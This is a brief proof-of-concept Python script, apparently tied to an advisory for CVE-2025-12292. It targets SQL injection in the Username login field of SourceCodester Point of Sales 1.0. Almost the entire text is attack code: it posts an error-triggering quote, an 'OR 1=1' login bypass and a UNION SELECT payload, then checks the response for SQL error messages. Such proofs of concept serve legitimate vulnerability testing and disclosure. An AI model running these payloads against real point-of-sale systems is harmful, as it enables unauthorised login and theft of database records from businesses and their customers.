CVE-2025-12292 SourceCodester Point of Sales 1.0 SQL注入漏洞

import requests # CVE-2025-12292 SQL Injection PoC # Target: SourceCodester Point of Sales 1.0 # Vulnerability: SQL Injection in /index.php Username parameter target_url = "http://target-site.com/index.php" # Basic SQL Injection test payload to confirm vulnerability # This payload uses a single quote to trigger SQL syntax error payload_basic = "'" # Boolean-based blind SQL injection payload example # This payload attempts to extract database version information payload_blind = "' OR 1=1 -- " # UNION-based injection to extract data (requires identifying column count first) payload_union = "' UNION SELECT NULL-- " # May need to adjust column count def test_sql_injection(url, payload): """Test for SQL injection vulnerability""" data = { 'Username': payload, 'Password': 'test', 'Login': 'Submit' } try: response = requests.post(url, data=data, timeout=10) # Check for SQL error indicators in response if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error', 'sqlite']): return True except Exception as e: print(f"Request failed: {e}") return False # Execute PoC print("Testing CVE-2025-12292 SQL Injection...") if test_sql_injection(target_url, payload_basic): print("Vulnerability confirmed: SQL injection detected") else: print("Basic test inconclusive, manual verification recommended")